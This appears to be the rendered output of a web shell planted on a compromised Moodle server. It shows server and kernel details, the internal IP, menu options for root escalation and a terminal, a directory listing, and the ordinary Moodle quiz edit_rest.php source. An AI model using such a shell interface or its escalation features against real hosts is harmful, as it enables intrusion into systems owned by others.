Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
mod /
quiz /
Delete
Unzip
Name
Size
Permission
Date
Action
accessrule
[ DIR ]
drwxr-sr-x
2017-06-22 15:24
amd
[ DIR ]
drwxr-sr-x
2017-06-22 15:14
backup
[ DIR ]
drwxr-sr-x
2017-06-22 15:14
classes
[ DIR ]
drwxr-sr-x
2017-06-22 15:24
db
[ DIR ]
drwxr-sr-x
2017-06-22 15:24
lang
[ DIR ]
drwxr-sr-x
2017-06-22 15:15
pix
[ DIR ]
drwxr-sr-x
2017-06-22 15:25
report
[ DIR ]
drwxr-sr-x
2017-06-22 15:25
templates
[ DIR ]
drwxr-sr-x
2017-06-22 15:25
tests
[ DIR ]
drwxr-sr-x
2017-06-22 15:25
yui
[ DIR ]
drwxr-sr-x
2017-06-22 15:15
accessmanager.php
19.94
KB
-rw-r--r--
2017-06-22 15:24
accessmanager_form.php
2.38
KB
-rw-r--r--
2017-06-22 15:24
addrandom.php
4.51
KB
-rw-r--r--
2017-06-22 15:24
addrandomform.php
4.13
KB
-rw-r--r--
2017-06-22 15:24
attempt.php
4.9
KB
-rw-r--r--
2017-06-22 15:24
attemptlib.php
95.09
KB
-rw-r--r--
2017-06-22 15:24
autosave.ajax.php
2.13
KB
-rw-r--r--
2017-06-22 15:24
comment.php
4.97
KB
-rw-r--r--
2017-06-22 15:24
cronlib.php
4.73
KB
-rw-r--r--
2017-06-22 15:24
edit.php
7.9
KB
-rw-r--r--
2017-06-22 15:24
edit_rest.php
8.19
KB
-rw-r--r--
2017-06-22 15:24
grade.php
3.48
KB
-rw-r--r--
2017-06-22 15:24
index.php
6.43
KB
-rw-r--r--
2017-06-22 15:25
lib.php
73.05
KB
-rw-r--r--
2017-06-22 15:25
locallib.php
84.43
KB
-rw-r--r--
2017-06-22 15:25
mod_form.php
31.01
KB
-rw-r--r--
2017-06-22 15:25
module.js
9.54
KB
-rw-r--r--
2017-06-22 15:25
override_form.php
9.97
KB
-rw-r--r--
2017-06-22 15:25
overridedelete.php
3.33
KB
-rw-r--r--
2017-06-22 15:25
overrideedit.php
7.1
KB
-rw-r--r--
2017-06-22 15:25
overrides.php
9.49
KB
-rw-r--r--
2017-06-22 15:25
processattempt.php
3.44
KB
-rw-r--r--
2017-06-22 15:25
questionbank.ajax.php
1.79
KB
-rw-r--r--
2017-06-22 15:25
renderer.php
53.66
KB
-rw-r--r--
2017-06-22 15:25
repaginate.php
1.94
KB
-rw-r--r--
2017-06-22 15:25
report.php
3.47
KB
-rw-r--r--
2017-06-22 15:25
review.php
9.37
KB
-rw-r--r--
2017-06-22 15:25
reviewquestion.php
4.24
KB
-rw-r--r--
2017-06-22 15:25
settings.php
11.71
KB
-rw-r--r--
2017-06-22 15:25
startattempt.php
4.23
KB
-rw-r--r--
2017-06-22 15:25
styles.css
23.94
KB
-rw-r--r--
2017-06-22 15:25
summary.php
3.26
KB
-rw-r--r--
2017-06-22 15:25
upgrade.txt
7.6
KB
-rw-r--r--
2017-06-22 15:25
version.php
1.04
KB
-rw-r--r--
2017-06-22 15:25
view.php
9.51
KB
-rw-r--r--
2017-06-22 15:25
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Rest endpoint for ajax editing of quiz structure. * * @package mod_quiz * @copyright 1999 Martin Dougiamas http://dougiamas.com * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ if (!defined('AJAX_SCRIPT')) { define('AJAX_SCRIPT', true); } require_once(__DIR__ . '/../../config.php'); require_once($CFG->dirroot . '/mod/quiz/locallib.php'); // Initialise ALL the incoming parameters here, up front. $quizid = required_param('quizid', PARAM_INT); $class = required_param('class', PARAM_ALPHA); $field = optional_param('field', '', PARAM_ALPHA); $instanceid = optional_param('instanceId', 0, PARAM_INT); $sectionid = optional_param('sectionId', 0, PARAM_INT); $previousid = optional_param('previousid', 0, PARAM_INT); $value = optional_param('value', 0, PARAM_INT); $column = optional_param('column', 0, PARAM_ALPHA); $id = optional_param('id', 0, PARAM_INT); $summary = optional_param('summary', '', PARAM_RAW); $sequence = optional_param('sequence', '', PARAM_SEQUENCE); $visible = optional_param('visible', 0, PARAM_INT); $pageaction = optional_param('action', '', PARAM_ALPHA); // Used to simulate a DELETE command. $maxmark = optional_param('maxmark', '', PARAM_FLOAT); $newheading = optional_param('newheading', '', PARAM_TEXT); $shuffle = optional_param('newshuffle', 0, PARAM_INT); $page = optional_param('page', '', PARAM_INT); $PAGE->set_url('/mod/quiz/edit-rest.php', array('quizid' => $quizid, 'class' => $class)); require_sesskey(); $quiz = $DB->get_record('quiz', array('id' => $quizid), '*', MUST_EXIST); $cm = get_coursemodule_from_instance('quiz', $quiz->id, $quiz->course); $course = $DB->get_record('course', array('id' => $quiz->course), '*', MUST_EXIST); require_login($course, false, $cm); $quizobj = new quiz($quiz, $cm, $course); $structure = $quizobj->get_structure(); $modcontext = context_module::instance($cm->id); echo $OUTPUT->header(); // Send headers. // OK, now let's process the parameters and do stuff // MDL-10221 the DELETE method is not allowed on some web servers, // so we simulate it with the action URL param. $requestmethod = $_SERVER['REQUEST_METHOD']; if ($pageaction == 'DELETE') { $requestmethod = 'DELETE'; } switch($requestmethod) { case 'POST': case 'GET': // For debugging. switch ($class) { case 'section': $table = 'quiz_sections'; $section = $structure->get_section_by_id($id); switch ($field) { case 'getsectiontitle': require_capability('mod/quiz:manage', $modcontext); echo json_encode(array('instancesection' => $section->heading)); break; case 'updatesectiontitle': require_capability('mod/quiz:manage', $modcontext); $structure->set_section_heading($id, $newheading); echo json_encode(array('instancesection' => format_string($newheading))); break; case 'updateshufflequestions': require_capability('mod/quiz:manage', $modcontext); $structure->set_section_shuffle($id, $shuffle); echo json_encode(array('instanceshuffle' => $section->shufflequestions)); break; } break; case 'resource': switch ($field) { case 'move': require_capability('mod/quiz:manage', $modcontext); if (!$previousid) { $section = $structure->get_section_by_id($sectionid); if ($section->firstslot > 1) { $previousid = $structure->get_slot_id_for_slot($section->firstslot - 1); $page = $structure->get_page_number_for_slot($section->firstslot); } } $structure->move_slot($id, $previousid, $page); quiz_delete_previews($quiz); echo json_encode(array('visible' => true)); break; case 'getmaxmark': require_capability('mod/quiz:manage', $modcontext); $slot = $DB->get_record('quiz_slots', array('id' => $id), '*', MUST_EXIST); echo json_encode(array('instancemaxmark' => quiz_format_question_grade($quiz, $slot->maxmark))); break; case 'updatemaxmark': require_capability('mod/quiz:manage', $modcontext); $slot = $structure->get_slot_by_id($id); if ($structure->update_slot_maxmark($slot, $maxmark)) { // Grade has really changed. quiz_delete_previews($quiz); quiz_update_sumgrades($quiz); quiz_update_all_attempt_sumgrades($quiz); quiz_update_all_final_grades($quiz); quiz_update_grades($quiz, 0, true); } echo json_encode(array('instancemaxmark' => quiz_format_question_grade($quiz, $maxmark), 'newsummarks' => quiz_format_grade($quiz, $quiz->sumgrades))); break; case 'updatepagebreak': require_capability('mod/quiz:manage', $modcontext); $slots = $structure->update_page_break($id, $value); $json = array(); foreach ($slots as $slot) { $json[$slot->slot] = array('id' => $slot->id, 'slot' => $slot->slot, 'page' => $slot->page); } echo json_encode(array('slots' => $json)); break; case 'updatedependency': require_capability('mod/quiz:manage', $modcontext); $slot = $structure->get_slot_by_id($id); $value = (bool) $value; $structure->update_question_dependency($slot->id, $value); echo json_encode(array('requireprevious' => $value)); break; } break; } break; case 'DELETE': switch ($class) { case 'section': require_capability('mod/quiz:manage', $modcontext); $structure->remove_section_heading($id); echo json_encode(array('deleted' => true)); break; case 'resource': require_capability('mod/quiz:manage', $modcontext); if (!$slot = $DB->get_record('quiz_slots', array('quizid' => $quiz->id, 'id' => $id))) { throw new moodle_exception('AJAX commands.php: Bad slot ID '.$id); } $structure->remove_slot($slot->slot); quiz_delete_previews($quiz); quiz_update_sumgrades($quiz); echo json_encode(array('newsummarks' => quiz_format_grade($quiz, $quiz->sumgrades), 'deleted' => true, 'newnumquestions' => $structure->get_question_count())); break; } break; }